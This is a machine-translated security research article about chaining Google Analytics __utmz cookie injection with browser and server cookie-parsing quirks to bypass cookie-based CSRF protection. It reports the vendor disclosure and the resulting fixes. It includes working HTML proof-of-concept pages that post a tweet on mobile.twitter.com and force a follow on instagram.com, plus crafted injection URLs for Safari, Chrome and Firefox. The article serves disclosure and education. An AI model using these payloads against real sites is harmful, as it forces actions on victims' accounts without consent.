📜 ⬆️ ⬇️

Not all cookies are equally useful.

In this article I would like to talk about how you can combine small flaws in the processing of cookie-values ​​in a chain, and to make at the expense of this attack on users of popular web applications.
image


The story began over a year ago when I tested the DOMinator program for searching for DOM-Based XSS on Bug Bounty program sites. One of the first warnings I received was a cookie injection vulnerability in JavaScript analytics Google Analytics.

When accessing a site with Google Analytics, the script processes the HTTP value of the Referer header and extracts the host and the path to the script from it to track where the user came from. In the future, this data gets into the cookie parameter __utmz .
')
It looks like this:
__utmz=123.123.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

By changing the script path on your site from which the user navigates to the site with Google Analytics, you can influence the end of the __utmz cookie value and try to change the cookie attributes, since the path is not processed before it hits the value. However, attributes will be overwritten by subsequent values ​​that Google Analytics substitutes.

blackfan.ru/x/injection;injection=injection?r=http://site.com/

Result:
document.cookie=__utmz=blah...|utmcct=/x/injection;injection=injection; path=/; domain=.site.com

At the moment, it was difficult to call it a vulnerability, but nevertheless, the behavior of the script is quite interesting, besides, it is incredibly common.

Bug Bounty and Cookie


A small digression. Cookie vulnerabilities in vulnerability rewards programs are notable in that you might have two main scenarios:


And only if both options were in the same Bug Bounty program, then you, so be it, will be paid.

The need to prove each time the threat from cookies is often discourages people from finding them. As for the time spent on this, you can find a dozen more vulnerabilities that will be taken without question. Basically, only the most basic things are checked, such as session fixing and the correctness of the secure attributes set, httpOnly ...

Cookie


Take a look at the structure of the cookie headers:

Set-Cookie: par=val; path=/; httpOnly; secure;
Cookie: par=val; par2="val2"; par3=val3;

The structure is quite complex and the browser, JavaScript scripts and the web server work with it every time you request. Each handles it in its own way, and the same line can produce different results.

Analyzing the processing of cookies, you must ask the following questions:

  1. Do you need spaces after;
  2. What characters can be used instead;
  3. What value will result in the case of identical keys
  4. Is the key case important?
  5. How many attributes can a parameter have
  6. What value will be the result in case of identical attributes?
  7. How to encode special characters

Cookie handling


The first and most famous feature - Safari allows you to declare several parameters through a single Set-Cookie header.

Set-Cookie: param1=value1; path=/, param2=value2; httpOnly;

Returning to the problem of Google Analytics, let's check this feature in setting cookies through JavaScript. We get the first version of operation:

blackfan.ru/x/injection;,injection_cookie=injection;?r=http://site.com/

Result
document.cookie=__utmz=blah...|utmcct=/r/injection;,injection_cookie=injection; path=/; domain=.site.com

Safari will create two cookie parameters __utmz and injection_cookie .

That is, for a Safari user on any site with Google Analytics, you can create an arbitrary cookie setting. It remains only to think of why ...

CSRF


Protection against CSRF can be divided into 3 types:
  1. Different tokens for each action. Stored on server.
  2. One session token for all actions. Stored on the server in a user session.
  3. One session token for all actions. Stored in the cookie parameter.

The third option is based on the fact that the value of the token in the user's cookie is not accessible to the attacker. To pass the test, simply send the same token value in the cookie and post parameters. That is, a simple rewriting of the value through Google Analytics is perfect here.

Cookie handling features # 2


What if you deploy an attack at 180 degrees? It is not necessary that the browser actually had a cookie parameter with a CSRF token, the value of which we know. Enough to think so web server.

This will help another discovered cookie processing feature.

RFC2109
Note: For backward compatibility, the separator in the cookie header
is semi-colon (;) everywhere. A server should also accept comma (,)
as the separator between cookie-values ​​for future compatibility.

Many web servers support cookies not only through a semicolon, but also separated by a comma.

Cookie: par=val; par2="val2"; par3=val3;
Cookie: par=val, par2="val2", par3=val3,

Moreover, in some cases, the space is not required.

Cookie: par=val;par2="val2";par3=val3;
Cookie: par=val,par2="val2",par3=val3,

In turn, for most browsers, characters such as space and comma are quite normal. And if you install:

Set-Cookie: par=val, csrftoken=val2;
document.cookie="par=val, csrftoken=val2;";

For the browser, this will be one value, but for some server implementations, two cookie parameters. However, in the case of using these features to bypass the CSRF protection, it is necessary to remember that we do not overwrite the old token, but add another one, that is, the order of processing cookies is important.

Cookie: csrftoken=realvalue; par=val, csrftoken=fakevalue;

In total, there are already two chains of exploitation of vulnerability:

Safari -> WebApp (GA & Double Submit Cookies)

-> WebApp (GA & Double Submit Cookies & , cookie)

Exploitation


After preparing a good base, you need to check in real conditions. Almost immediately, the ideal option is mobile.twitter.com .

It implements CSRF cookie-based protection, the server supports a comma-separated cookie without a space, but ... It does not have Google Analytics. But he is on translate.twitter.com ! It's time to check the processing of cookie attribute values, or more precisely, to check the possibility of discarding path and domain values ​​added at the end if an injection occurs in the cookie value.

It turned out that Google Chrome, in the case of a large number of cookie attributes, at some point simply ceases to parse them and does not reach the last valid values.

That is, in this case:

Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; [...]; domain=blah.blah.blah.google.com;

The cookie will be installed on .google.com , not blah.blah.blah.google.com .

Thus, one more operation chain is added:

Chrome -> WebApp 1 (Double Submit Cookies & , cookie) & WebApp 2 (GA)

Form PoC:

 <html> <body> <form style="display:none;" id="csrf" action="https://mobile.twitter.com/api/tweet" method="POST"> <input type="hidden" name="tweet[text]" value="PoC" /> <input type="hidden" name="m5_csrf_tkn" value="x" /> <input type="submit" value="Submit request" /> </form> <script> function xxx() { setTimeout("document.getElementById('csrf').submit();",5000); } </script> <a target="_blank" href="http://blackfan.ru/x/,m5_csrf_tkn=x,;domain=.twitter.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://translate.twitter.com/" onclick="xxx()"> Tweet "PoC" </a> </body> </html> 

Description:
  1. User is logged in to twitter.com
  2. Mobile version of mobile.twitter.com picks up the session of the main site even if the user did not visit it
  3. We assume that the user was not on translate.twitter.com and does not have the cookie __utmz on it
  4. We transfer the Referer with the path that contains the injection into the cookie to the site translate.twitter.com
  5. Google Analytics creates cookies __utmz=blah...|,m5_csrf_tkn=x,
  6. Due to the large number of attributes, Chrome overwrites the domain on .twitter.com
  7. We are waiting for the end of the request processing and send another request to create a tweet “PoC” using the token “x”
  8. In accordance with the order of the sent cookie, mobile.twitter.com takes our value of the token "x" and makes sure that the value in the post request and in the cookie are the same
  9. User has PoC tweet

Cookie handling features # 3


The next goal was instagram.com , or rather all the sites on Django. CSRF protection in Django is also cookie-based. To successfully pass the scan, it is enough to send the same values ​​in the csrftoken cookie and the post parameter to csrfmiddlewaretoken , or in the HTTP header X-CSRFToken . However, there is an additional check that may further hinder. If the site is working over HTTPS, Django checks the Referer header and, in case of a mismatch, blocks the request, even if it contains the correct token. Post requests without Referer are also blocked.

During the study of the processing of cookies in Django, the following features were discovered:

  1. It is not necessary to use a semicolon as a separator; any whitespace character between the parameters is sufficient.
    Cookie: test=test test2=test2
  2. If the cookie value is [ \ ] , then the first part of the cookie is discarded.
    Cookie: test=test]test2=test2 .
    As a result, only test2 .

It turned out that this problem is not even in Django, but in Python. The cookie library processes values ​​in accordance with RFC2109 . And it turns out that the use of [ \ ] characters is not provided if the value is not framed with double quotes. For browsers, the use of these symbols is quite normal.

PoC for instagram is almost identical to the previous one:

 <html> <body> <form action="http://instagram.com/web/friendships/[user_id]/follow/?ref=emptyfeed" id="csrf" method="POST"> <input type="hidden" name="csrfmiddlewaretoken" value="x" /> <input type="submit" value="Submit request" /> </form> <script> function xxx() { document.getElementById('csrf').submit(); } </script> <iframe src="http://blackfan.ru/x/]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/" onload="xxx()"/> </body> </html> 

Blog.instagram.com is used for forwarding cookies __utmz , and / /r/]csrftoken=x,;domain=.instagram.com; .

Cookie handling features # 4


After talking with Google, Twitter, Facebook, Django and Python, I again decided to try to get around their fixes.

The following condition changes have occurred:
  1. Google Analytics began dropping the part after the semicolon and forcing to replace the space with% 20
  2. Python fixed incorrect processing [ \ ]

However, there was still the possibility of enumerating cookies through whitespace in Django, which was greatly hampered by the replacement used by Google.

The whitespace check showed the following:
  1. Internet Explorer replaces \ x09 \ x0b \ x0c with _
  2. Chrome does not set a cookie if it contains \ x09 \ x0b \ x0c characters
  3. FireFox considers these characters normal

As a result, the following version of operation for FireFox is obtained

instagram.com/?utm_source=1&utm_medium=2&utm_campaign=3&utm_term=4&utm_content=5%09csrftoken%3dx

Cookie handling features # 5


I also found another interesting option in some server implementations, but so far I have not found a use in real conditions. When using special characters in cookies, the value is framed in double quotes. This behavior can be used as follows:

Set-Cookie: test="test
Set-Cookie: foo=bar
Set-Cookie: test2="

For browsers, double quotes are not some special character and as a result you will get the following title:

Cookie: test="test; foo=bar; test2="

But some web servers can process these values ​​as one test parameter, as a result of which the foo=bar parameter will not be created. With the coincidence of an incredible amount of conditions, this feature can also be used.

results


Operating options

Safari -> WebApp (GA & Double Submit Cookies)
-> WebApp (GA & Double Submit Cookies & , cookie)
Chrome -> WebApp 1 (Double Submit Cookies & , cookie) & WebApp 2 (GA)
FireFox -> WebApp (GA & Double Submit Cookies & , cookie)

Fixes

  1. Google Analytics added% 20 blank space for cookies (dubious improvement)
  2. Google Analytics fixed the ability to change cookie attributes by dropping everything that comes after the ";"
  3. Google Chrome will NOT correct overwriting using a large number of attributes, since the client should not be able to set arbitrary attributes initially.
  4. Python fixed a problem with characters [ \ ] ( https://hg.python.org/cpython/rev/270f61ec1157 )
  5. Twitter changed the type of CSRF protection on mobile.twitter.com

When dealing with Google, I was faced with a total lack of understanding of the essence of the vulnerability. They demanded an example from me on Google sites, which I did not have, and they were not at all interested that Google Analytics could be a threat on other sites. And only after a dozen letters did my report get to Krzysztof (apparently, it was @kkotowicz ), who figured out what was happening and conveyed the information to the appropriate developers.

Source: https://habr.com/ru/post/272187/


All Articles